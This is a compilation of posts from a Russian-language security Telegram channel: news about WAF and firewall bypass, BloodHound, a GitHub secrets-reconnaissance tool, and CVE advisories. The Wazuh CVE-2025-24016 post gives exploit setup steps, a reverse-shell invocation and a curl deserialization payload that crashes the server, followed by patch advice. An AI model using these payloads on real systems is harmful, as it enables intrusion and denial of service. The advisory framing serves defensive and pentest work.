Обходим WAF с помощью лайфхака из Twitter'а и немного defensive
#WAF #web #twitter

Также это можно настроить автоэнкодинг в бурп суюте

Логика простая: WAF или любая другая система фильтрации ввода вероятно будет блокировать только определенный список UTF-8 символов

Как защититься?
Конвертируйте весь ввод строго в UTF-8 формат, так вы сильно упростите себе жизнь и правила фильтрации

🌚 @poxek

Firewall не спасёт
#firewall #nmap

Межсетевые экраны издревле применяются для блокирования входящего трафика нежелательных приложений. Обычно для этого создаются правила фильтрации, разрешающие входящий трафик по явно указанным сетевым портам и запрещающие весь остальной. При этом легитимные приложения, монопольно владеющие открытыми портами, работают без проблем, а вот нежелательные остаются без связи, поскольку все доступные им порты блокируются межсетевым экраном. Данный подход давно отработан и стар как мир, казалось бы, что тут может пойти не так?

А оказывается, может и вполне идёт. Далее из этой статьи вы узнаете две техники обхода межсетевых экранов, позволяющие нежелательным приложениям преодолевать фильтрацию входящего сетевого трафика и получать команды от удалённых узлов

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Ревизор приехал: pg_anon проверяет, всё ли скрыто
#psql #Postgresql #pg #dev

В современном мире, где данные становятся новой нефтью, разработчики часто сталкиваются с дилеммой: как тестировать приложения на реальных данных, не подвергая риску конфиденциальную информацию пользователей? Использование продакшн-данных в тестовых средах без должной анонимизации может привести к серьёзным утечкам и, как следствие, к многомиллионным штрафам и потере репутации компании.

Здесь на помощь приходит инструмент pg_anon — решение для анонимизации данных в PostgreSQL. С его помощью можно маскировать персональные данные, сохраняя при этом структуру и целостность информации. Это особенно важно для разработчиков и тестировщиков, которым нужны реалистичные данные для работы без риска нарушения конфиденциальности.

В статье подробно рассматриваются примеры конфигураций pg_anon и приводится пошаговое руководство по его внедрению в процессы разработки. Автор, опираясь на 15-летний опыт работы с данными в крупных проектах, подчёркивает, что безопасность данных — это не препятствие для работы, а залог спокойствия и стабильности бизнеса.

Для разработчиков, стремящихся обеспечить безопасность данных и соответствие современным стандартам защиты информации, внедрение таких инструментов, как pg_anon, становится не просто рекомендацией, а необходимостью.

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Enhancements for BloodHound v7.0 Provide Fresh User Experience and Attack Path Risk Optimizations
#AD #bloodhound #activedirectory

Команда BloodHound представила в последних обновлениях несколько концепций, которые упростили пользователям визуализацию путей атаки и позволили отслеживать снижение рисков, связанных с идентификацией, в динамике.

На этой неделе выходит BloodHound v7.0, который включает значительные улучшения, направленные на повышение удобства работы пользователей и более точную оценку рисков в цепочках атак.

➡️Release Note

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Как сделать чат-бот с RAG безопаснее?
#AI #RAG #нейросеть #MLSecOps

Каждый день появляются решения на базе генеративных моделей, помогающие бизнесу привлекать новых пользователей и удерживать старых. Подход Retrieval augmented generation позволяет вводить в контекст больших языковых моделей (LLM) корпоративные документы, чтобы чат-бот корректнее отвечал на вопросы пользователей. Гарантирует ли добавление документа в контекст, что чат-бот не будет вводить пользователей в заблуждение или отвечать на вопросы про изготовление бомб?

В качестве языковой модели для генерации ответов продолжим использовать open-mixtral-8x22b, а для улучшения атакующих промптов — mistral-large-2411.

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Обычная практика Threat Hunting и причем тут пирамида боли
#TI #threatintelligence #threathunting

Привет Хабр! Меня зовут Иван Костыря, и я работаю в команде VK SOC, а точнее — в группе реагирования, куда стекаются все подозрения на инциденты информационной безопасности в компании. Сегодня хочу рассказать немного о том, как мы ищем угрозы в периметре компании, какие средства и техники для этого используем. Если коротко, то этот процесс можно описать так — мы задаем себе очень много вопросов и постоянно ищем на них ответы. Статья будет интересна начинающим специалистам: здесь я обобщил основные практики и рекомендации, которые выработаны в индустрии и проверены опытом нашей команды.

P.S. мы уже с одним из админом начали готовить для вас материал по TI, всё по просьбе подписчиков)
Stay tuned 🍞

➡️Читать далее

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit
#nvidia #CVE@poxek #container

В сентябре 2024 года компания WIZ обнаружила критическую уязвимость в системе безопасности, обозначенную как CVE-2024-0132, которая затрагивала все версии NVIDIA Container Toolkit.

Уязвимость была устранена в NVIDIA Container Toolkit v1.16.2 и NVIDIA GPU Operator v24.6.2, однако технические детали раскрыты только 11 февраля 2024 года. В рамках нашей работы нам пришлось разобрать патч и проэксплуатировать эту уязвимость до выхода информации от авторов оригинальной уязвимости.

P.s. респект команде Luntry

➡️Подробности

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Wazuh RCE via Unsafe Deserialization CVE-2025-24016
#CVE@poxek #wazuh #deserialization #RCE

В Wazuh-серверах (используемых для предотвращения, обнаружения и реагирования на угрозы) обнаружена критическая уязвимость, связанная с небезопасной десериализацией данных. Проблема возникает из-за способа сериализации параметров DistributedAPI в формате JSON и последующей десериализации через функцию as_wazuh_object (расположенную в framework/wazuh/core/cluster/common.py). Если злоумышленник внедрит небезопасный словарь в запрос или ответ DAPI, это может привести к генерации необработанного исключения (__unhandled_exc__) и, как следствие, выполнению произвольного Python-кода, что позволяет дистанционно выполнить код на сервере.

➡️Уязвимые версии
От версии 4.4.0 до версии 4.9.0 (уязвимость устранена в версии 4.9.1)

PoC 1. Эксплойт на python3

git clone https://github.com/0xjessie21/CVE-2025-24016.git
cd CVE-2025-24016/
python3 -m venv venv; source venv/bin/activate
pip install -r requirements.txt

Скрипт позволяет сразу сделать reverse shell python3 CVE-2025-24016.py -u <url> -i <IP> -p <PORT>

PoC 2. Шаблон для nuclei

wget https://raw.githubusercontent.com/huseyinstif/CVE-2025-24016-Nuclei-Template/refs/heads/main/CVE-2025-24016.yaml

Там есть пометка в комментах, что если есть авторизация, то раскомментировать строку

PoC 3. Ручная эксплуатация

curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"unhandled_exc":{"class": "exit", "args": []}}' https://<worker-server>:55000/security/user/authenticate/run_as

Этот запрос эксплуатирует некорректную десериализацию и приведёт к завершению работы мастер-сервера.

📌Пояснение к уязвимости от разработчиков Wazuh ТЫК

➡️Рекомендации
▪️Обновление ПО: Обязательно обновите Wazuh до версии 4.9.1 или выше, где уязвимость устранена.
▪️Ограничение доступа: Проверьте и ограничьте доступ к API.

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Топ вопросов и ответов на собеседовании по Kubernetes
#k8s #собес #собеседование #kubernetes

Не то чтобы мне интересно были собеседования, но т.к. самому приходиться изучать кубер, то вопросами с собеса понимаешь что есть минимальная граница знаний, чтобы можно было сказать "я знаю, что такое кубер"

Статья базовая, но подойдёт начинающим DevOps, AppSec, DevSecOps, CloudSec спецам или тем, кто хочет мигрировать в ранее перечисленные должности.

Вопросы на собесе:
➡️Что такое Kubernetes?
➡️Перечислите основные компоненты кластера Kubernetes
➡️Что такое Pod в Kubernetes?
➡️В чем разница между Deployment и StatefulSet?
➡️Что такое сервис (service) и какие типы сервисов существуют в Kubernetes?
➡️Что такое Ingress?
➡️Что такое Ingress-контроллер?
➡️Как организовать хранение чувствительных данных (секретов), включая логины, пароли, токены, ключи?
➡️Что такое метки и селекторы и для чего они используются?
➡️Что такое пробы (probes) в Kubernetes, какие типы проб существуют и для чего используются?
➡️Что такое Pod Disruption Budget и для чего используется?
➡️Как контролировать использование ресурсов для контейнеров?
➡️Как предоставить доступ до запущенного приложения из внешней сети?
➡️Что такое CNI-интерфейс?
➡️Что такое CRI?
➡️Что такое Persistent Volume (PV)?
➡️Что такое Persistent Volume Claim (PVC)?
➡️Как назначать права доступа в кластере Kubernetes?

А ответы на эти вопросы вы прочитаете в статье на Хабре))

➡️ Узнать ответы

P.S. если ответить самому себе честно, на сколько вопросов из 18 вы смогли ответить?

🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

"Добрый день, коллеги..." 🤣

#meme

@s0ld13r_ch

Привет, Похекеры! Сегодня у нас на разделочной доске новая тулза от Synacktiv – Octoscan. Если вам, как и мне, приходиться копаться в GitHub в поисках секретов/API ключей или иных недосмотров разрабов, то этот инструмент точно для вас.

Octoscan – это скрипт на Golang, который автоматизирует процесс сбора информации о GitHub-организациях и пользователях. Зачем это нужно? ☯️ Ну, представьте, что вы пентестите компанию и хотите узнать, какие репозитории они используют, какие сотрудники имеют доступ к критически важным данным, какие секреты случайно закоммитили в публичные репозитории (дада, такое ещё бывает). Octoscan поможет вам собрать все эти данные в одном месте.

➡️Что умеет Octoscan?

▪️Собирает информацию об организациях: список репозиториев, участников, команд.
▪️Ищет секреты в коде: API-ключи, пароли, токены.
▪️Анализирует историю коммитов: выявляет потенциально уязвимые места.
▪️Генерирует отчеты в формате JSON и Markdown.

Как это работает?

Octoscan использует API GitHub для сбора информации. Вам понадобится токен доступа, чтобы не упираться в лимиты API. Скрипт довольно прост в установке и использовании:

Установка из сорцов: go mod tidy; go build
Установка через докер: docker pull ghcr.io/synacktiv/octoscan:latest
Использование: octoscan dl --token ghp_<token> --org apache --repo incubator-answer

➡️Почему это круто?
Octoscan экономит кучу времени при проведении разведки в GitHub. Вместо того, чтобы вручную перебирать репозитории и профили пользователей, вы можете получить всю необходимую информацию за несколько минут. Это особенно полезно при пентесте больших организаций с множеством репозиториев.

➡️Для кого это?

Пентестеры: для автоматизации сбора информации о целях.
Багхантеры: для поиска уязвимостей в публичных репозиториях.
DevSecOps: для мониторинга репозиториев на наличие секретов и уязвимостей.

➡️Что касается аналогов, вот несколько альтернативных инструментов для GitHub reconnaissance:

GitGot (последнее обновление год назад): Инструмент для поиска конфиденциальной информации в публичных репозиториях GitHub.
Gitrob (официально в архиве с 2023 года): Инструмент для поиска потенциально конфиденциальных файлов, закоммиченных в публичные репозитории.
TruffleHog (классика, но немного не та направленность): Сканирует репозитории на предмет секретов, используя энтропию и регулярные выражения.
Gitleaks (классика, но немного не та направленность): Инструмент для обнаружения хардкоженных секретов и других конфиденциальных данных в Git-репозиториях.

p.s. octoscan получил последнее обновление месяц назад :)

➡️ Ссылка на репозиторий: https://github.com/synacktiv/octoscan

#pentest #github #reconnaissance #security #infosec #CICD #appsec #devsecops